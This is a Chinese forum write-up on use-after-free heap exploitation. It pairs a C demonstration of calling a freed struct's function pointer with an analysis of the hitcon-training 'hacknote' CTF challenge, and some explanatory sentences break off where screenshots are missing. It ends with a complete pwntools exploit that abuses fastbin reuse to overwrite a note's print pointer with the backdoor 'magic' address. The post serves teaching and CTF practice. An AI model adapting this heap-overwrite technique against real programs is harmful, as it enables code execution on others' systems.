-
-
[原创]Use After Free漏洞利用
-
发表于: 2025-8-26 11:42 601
-
漏洞原理
Use After Free漏洞简称UAF漏洞,顾名思义,意思就是被释放的内存被重用导致的漏洞。原因是ptmalloc堆管理器只是管理内存的开辟与释放的。并不会对已经释放的内存进行归零处理。这一点和栈是类似的,如果我们释放的内存被重新利用,在一些情况下也会产生漏洞利用,以下这个代码为例子
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}在代码中名为a的结构体指针已经被释放了,但是依然很可以调用a->func()间接调用打印函数,原因就是虽然free释放了内存,但是相应的内存空间的数据并没有清零,在将a置0之后,程序便无法再打印了,会因为调用了不存在的函数结束掉。
漏洞利用
本文针对题目hitcon-training-hacknote进行分析,首先静态看看


在释放内存空间的函数可以看到

程序漏洞点就在del_note函数中,由于没有对释放的内存进行
后门函数是magic,利用手法就是通过UAF漏洞覆盖print_note函数中引用的指针,将这个地址改为magic的地址即可完成pwn


这个程序每次在用户创建空间的时候都会向*(_DWORD *)*(¬elist + i)位置写入一个地址指针,在释放函数中,每当用户调用释放空间的函数时,就会将这个位置的数据释放掉。这里会产生关于fastbin的攻击,fastbins遵循LIFO(后入先出)类似于堆栈的方式。
首先创建2个堆块如下图所示:

可以看到一共创建了4个堆,另外2个就是程序自己开辟的堆空间,但当我们尝试将这2个内存释放掉之后,就会发现,fastbins中有2块大小0x10大小的内存,如果我们这这时候分配一块0x8大小的内存,add_note函数就会执行以下代码

#之前的代码 malloc(0x8); malloc(Size); #现在的代码 malloc(0x8) #覆盖0x804b038 malloc(0x8) #0x804b000
而根据fastbins的特性(后入先出)如果程序再次利用到细碎化的内存空间,就会优先从fastbins中分配,这是程序执行了2个malloc(8)刚好满足了要求,让我们自己申请的内存空间覆盖到0x804b000上到地址即可完成pwn
EXP
完整EXP如下所示
from pwn import *
binary = ELF('./hacknote')
context.terminal = ['tmux', 'splitw', '-h']
io = process(binary.path)
def debug():
gdb.attach(io)
def alloc(size,data):
io.sendlineafter(b'Your choice :',str(1))
io.sendlineafter(b'size :',str(size))
io.sendlineafter(b'Content :',data)
pass
def delete(index):
io.sendlineafter(b'Your choice :',str(2))
io.sendlineafter(b'Index :',str(index))
pass
def show(index):
io.sendlineafter(b'Your choice :',str(3))
io.sendlineafter(b'Index :',str(index))
pass
magic = binary.symbols['magic']
print(f'magic func {hex(magic)}')
alloc(0x20,b'b')
alloc(0x20,b'b')
delete(0) #构造fastbins
delete(1)
alloc(8,p32(magic))
show(0)
io.interactive()